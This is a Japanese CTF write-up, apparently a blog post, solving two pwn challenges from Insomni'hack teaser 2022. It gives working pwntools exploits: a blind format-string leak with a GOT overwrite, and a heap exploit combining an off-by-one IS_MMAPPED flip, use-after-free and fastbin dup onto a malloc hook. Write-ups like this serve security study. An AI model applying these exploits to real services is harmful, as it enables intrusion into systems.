Insomni'hack teaser 2022 Write-up

今年から、CTFのモチベーションを保つために、解いた問題のWriteupを書くことにしました。
2022/1/29-30に開催されたInsomni'hack teaser 2022に参加しました。
初めてはてなを使ってみたので、書き方が不慣れです。すみません。

f:id:ec76237290:20220131214731p:plain

pwnタスクは4つありましたが、開催期間中に解くことができたのは、一番簡単なCovidLe$sだけでした。

開催期間終了後に、onetestamentを解いたので、この2問の解き方をまとめます。

CovidLe$s

初めて見たblind pwn
f:id:ec76237290:20220201155952p:plain

自明なFSBがある。
バイナリの防御機構はわからないが、おそらくGOT Overwriteあたりができるのだろう。
とりあえずFSBを使ってスタックの中身を見てみる。

from pwn import *

p=remote("covidless.insomnihack.ch",6666)

for i in range(0,100):
    p.sendline("%{}$p".format(i).ljust(0x8).encode())
    print(str(i), p.recv(timeout=0.3))

こんな感じのコードで、スタックを出力できる。

0 b'Your covid pass is invalid : %0$p    \ntry again ..\n\n'
1 b'Your covid pass is invalid : 0x400934    \ntry again ..\n\n'
2 b'Your covid pass is invalid : (nil)    \ntry again ..\n\n'
3 b'Your covid pass is invalid : (nil)    \ntry again ..\n\n'
4 b'Your covid pass is invalid : 0x7ff402f30580    \ntry again ..\n\n'
5 b'Your covid pass is invalid : 0x7ff402d048d0    \ntry again ..\n\n'
6 b'Your covid pass is invalid : 0x74346e3143633456    \ntry again ..\n\n'
7 b'Your covid pass is invalid : 0x505f44315f6e6f31    \ntry again ..\n\n'
8 b'Your covid pass is invalid : 0x5379334b5f763172    \ntry again ..\n\n'
9 b'Your covid pass is invalid : 0x5f74304e6e34635f    \ntry again ..\n\n'
10 b'Your covid pass is invalid : 0xa6b34336c   \ntry again ..\n\n'
11 b'Your covid pass is invalid : (nil)   \ntry again ..\n\n'
12 b'Your covid pass is invalid : 0x2020207024323125   \ntry again ..\n\n'
13 b'Your covid pass is invalid : 0xa   \ntry again ..\n\n'
14 b'Your covid pass is invalid : (nil)   \ntry again ..\n\n'
15 b'Your covid pass is invalid : (nil)   \ntry again ..\n\n'
16 b'Your covid pass is invalid : (nil)   \ntry again ..\n\n'
17 b'Your covid pass is invalid : (nil)   \ntry again ..\n\n'
18 b'Your covid pass is invalid : (nil)   \ntry again ..\n\n'
19 b'Your covid pass is invalid : (nil)   \ntry again ..\n\n'
20 b'Your covid pass is invalid : (nil)   \ntry again ..\n\n'
21 b'Your covid pass is invalid : (nil)   \ntry again ..\n\n'
22 b'Your covid pass is invalid : (nil)   \ntry again ..\n\n'
23 b'Your covid pass is invalid : (nil)   \ntry again ..\n\n'
24 b'Your covid pass is invalid : (nil)   \ntry again ..\n\n'
25 b'Your covid pass is invalid : (nil)   \ntry again ..\n\n'
26 b'Your covid pass is invalid : (nil)   \ntry again ..\n\n'
27 b'Your covid pass is invalid : (nil)   \ntry again ..\n\n'
28 b'Your covid pass is invalid : 0x7fff471f6360   \ntry again ..\n\n'
29 b'Your covid pass is invalid : 0x86ae0fff72979c00   \ntry again ..\n\n'
30 b'Your covid pass is invalid : 0x400890   \ntry again ..\n\n'
31 b'Your covid pass is invalid : 0x7ff402938b97   \ntry again ..\n\n'

ここから慣れの問題である気がするが、
0x86ae0fff72979c00はstack canaryであるような気がする。
そして、その2個下の 0x7ff402938b97 は、おそらく__libc_start_mainだろう。
libc database search

このサイトで調べると、
f:id:ec76237290:20220201162650p:plain
この問題のlibcはglibc2.27であろうことがわかる。
これでlibc baseが特定できた。

後はGOT Overwriteを目指すために、バイナリの中身をダンプしてみる。

from pwn import *

p=remote("covidless.insomnihack.ch",6666)

def leak(address):
    p.sendline("%13$s".ljust(0x8).encode()+p64(address))
    print(p.recvuntil("Your covid pass is invalid : "))
    tmp=p.recvuntil("try again ..").replace("try again ..".encode(),"".encode()).strip().ljust(8, b"\x00")
    if len(tmp)>8:
        data=u64(tmp[0:8])
    else:
        data=u64(tmp)
    return data

base=0x600f00
for i in range(0x1000):
    p.sendline("%13$s".ljust(0x8).encode()+p64(base+i*0x8))
    print(hex(base+i*0x8),hex(leak(base+i*0x8)))

p.interactive()

スタックの13番目に任意の値を入れることができたので、%13$sで、任意のアドレスをleakさせることができる。
GOTがありそうなアドレスは、適当に色々試した。(手元のバイナリだと0x600XXXとかが多かったので…)
出力結果は下記のような感じ。

b'\n\nYour covid pass is invalid : '
0x601008 0x20207f0f07dde170
b'\n\nYour covid pass is invalid : '
0x601010 0x20207f0f07bca8f0
b'\n\nYour covid pass is invalid : '
0x601018 0x20207f0f078429c0
b'\n\nYour covid pass is invalid : '
0x601020 0x10202020204005f6
b'\n\nYour covid pass is invalid : '
0x601028 0x20207f0f07826e80
b'\n\nYour covid pass is invalid : '
0x601030 0x20207f0f07950f50
b'\n\nYour covid pass is invalid : '
0x601038 0x382020207f0f0784
b'\n\nYour covid pass is invalid : '
0x601040 0x20207f0f0786be70
b'\n\nYour covid pass is invalid : '
0x601048 0x20207f0f078407e0

これで、0x7f0f07bca8f0とかはGOTの領域っぽいので、あとは%nの書式文字列でone_gadgetに飛ばすだけ。
どれを選ぶかが問題だが、libc databaseによるとputsのoffsetが0x809c0であることから
0x601018にある0x7f0f078429c0はputsのアドレスだろうとアタリを付けて0x601018をone_gadgetのアドレスにoverwriteした。

from pwn import *

libc=ELF("/home/ubuntu/Desktop/libc-database/libs/libc6_2.27-3ubuntu1_amd64/libc.so.6")

p=remote("covidless.insomnihack.ch",6666)

#leak libc base
p.sendline("%31$p")
p.recvuntil("Your covid pass is invalid : ")
libc_base=int(p.recvline().split()[0], 16)-0x21b97
log.info("libc_base:"+hex(libc_base))

#GOT overwrite 
one_gadget=0xe5863
upper=(libc_base+one_gadget)//0x100000000
lower1=(libc_base+one_gadget)%0x100000000
lower1=lower1//0x10000
lower2=(libc_base+one_gadget)%0x100000000
lower2=lower2%0x10000
p.sendline("%{}c%20$hn%{}c%19$hn%{}c%18$hn".format(upper,0x10000+lower1-upper, 0x10000+lower2-lower1).ljust(0x30).encode()+p64(0x601020-0x8)+p64(0x601022-0x8)+p64(0x601024-0x8))
p.recv(timeout=0.5)

p.interactive()

すごい勢いで空白が出力されるけど、一応シェルは取れる。

難易度としてはそんなに高くないものの、FSBはスタックがズレたりしてexploitのコーディングに時間がかかる。

onetestament

よくあるheap note問題。
f:id:ec76237290:20220131222840p:plain

1:新しい領域をcallocして書き込みする。(サイズは0x30, 0x18, 0x60, 0x7cから選べる)

2:決まった文言を出力する(あまり意味ない)

3:取得済みの領域を編集する。(2回までしかできない)

4:callocされた領域をfreeする。

脆弱性

脆弱性は二つある。

1つ目は、Edit my testamentを行うとOOBで0x01を足してしまうバグ。
Edit testament は受け取った数値をpointerに加算して、該当アドレスに0x01を加算する。
一応boundary checkが存在するものの、1バイトずれていて、隣の領域のmchunk_sizeに0x01を加算できる。

2つ目は、4のDeleteした後もポインタが削除されず、UAFがあること。
一応Deleteされた後は、flagが0x0(4バイト)になり、Deleteできないようにしているのだが、indexの入力は5バイトを隣り合った領域に書き込むため、flagを上書きできる。その結果UAFができる。

Exploitの方針

脆弱性の一つ目によって、サイズのIS_MMAPPEDフラグを立てることが可能。このフラグを立てることで、libc addressのリークが可能となる。(callocはIS_MMAPPEDがあると内容を初期化しない為)
このテクニックは、こちらの書籍に詳しく載っているのでご参照。

book.mynavi.jp

callocで取得する前に当該領域にlibcのアドレスを書き込む必要がある。
これはunsorted binに入れる必要がある。
問題設定上unsortedbin に使ってほしそうな、0x7cの領域確保を行いfreeをするとunsorted binに入るので、これを活用する。
(fastbinはlibcのアドレスを持たないのでlibc leakには使えない)

これによりlibc_baseをleakすることができる。

その次にRIPを奪うことを考えるが、glibc2.23なので、fastbin dupを使えることができるので__malloc_hookを書き換えことができる。
fastbin dupはhow2heapを参照
how2heap/fastbin_dup.c at master · shellphish/how2heap · GitHub
今回は0x60でcallocできるので、fastbinのチェックであるサイズチェックをバイパスできる。
(libcのアドレスは0x7fから始まるので、偶然fastbinのサイズと同じになる。したがってfastbinのチェックをバイパスできる)
これで__malloc_hookを書き換えてone_gadgetに飛ばせばよい。

from pwn import *

elf=ELF("/hostshare/ontestament")
libc=ELF("/hostshare/libc6.so")

#p=process("/hostshare/ontestament", aslr=False,env={"LD_PRELOAD" : "/hostshare/libc6.so"} )
#p=process("/hostshare/ontestament", aslr=True )
#gdb.attach(p)

p=remote("onetestament.insomnihack.ch",6666)

def new_testament(choice, content):
    p.sendlineafter("Please enter your choice:", "1".encode())
    p.sendlineafter("Please enter your choice:", str(choice).encode())
    p.sendlineafter("Please enter your testatment content:", content)
    return p.recvline()

def show_testament(index):
    p.sendlineafter("Please enter your choice:", "2".encode())
    return p.recvline()

def edit_testament(index, content):
    p.sendlineafter("Please enter your choice:", "3".encode())
    p.sendlineafter("Please enter your testament index:", str(index).encode())
    p.sendlineafter("Please enter your testament content:", content)
    return p.recvline()

def delete_testament(index):
    p.sendlineafter("Please enter your choice:", "4".encode())
    p.sendlineafter("Please enter your testament index:", str(index).encode())
    return p.recvline()

### leak libc ###
new_testament(1, cyclic(0x10)) #0
new_testament(4, cyclic(0x10)) #1
new_testament(3, cyclic(0x10)) #2 barrier

delete_testament(1) # 1 fd, bk
edit_testament(0, str(0x18)) #IS_MMMAPED
edit_testament(0, str(0x18)) #PREV_USED
new_testament(4, "") #1
libc_base=u64((b"\x00"+p.recv(5)).ljust(8, b"\x00"))-0x3c4b00
log.info("libc base is :" + hex(libc_base))

### fastbin dup ###

new_testament(3, cyclic(0x10)) #3
new_testament(3, cyclic(0x10)) #4

delete_testament(4)
delete_testament(2)
p.sendlineafter("Please enter your choice:", "4".encode())
p.sendlineafter("Please enter your testament index:", str(4).encode()+b"\xde\xad\xbe\xef")

one_gadget=0x4527a
new_testament(3, p64(libc_base+libc.symbols["__memalign_hook"]-0x13))
new_testament(3, "A")
new_testament(3, "BBBB")
new_testament(3, "CCCCCCCCCCCCCCCCCCC".encode()+p64(libc_base+one_gadget))

#pwn it
p.sendlineafter("Please enter your choice:", "1".encode())
p.sendlineafter("Please enter your choice:", str(1).encode())

p.interactive()

こちらも難易度はあまり高くないけど、脆弱性を見つけることが難しいなぁーと思った。

仮にlibc 2.31だったとしてもcallocの10回制限が無ければ、house of botcakeで解けるかも?と思ったが
callocはtcacheからは取らないからやっぱりダメなような気もした(試す体力はない)。

LoadMeもBlindpwnのようでしたが、Windows問なので、何もわかりませんでした。いつかやりたいです。
RetroPwnはゲームボーイっぽいゲームが始まって面白そうでした。いつかやりたいです。

どこか間違っている記載があったらすみません。